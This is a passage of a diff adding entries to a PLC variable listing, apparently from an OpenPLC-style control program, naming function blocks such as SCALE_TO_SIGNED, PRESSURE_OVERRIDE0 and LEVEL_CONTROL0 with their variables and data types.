+251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; +290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; 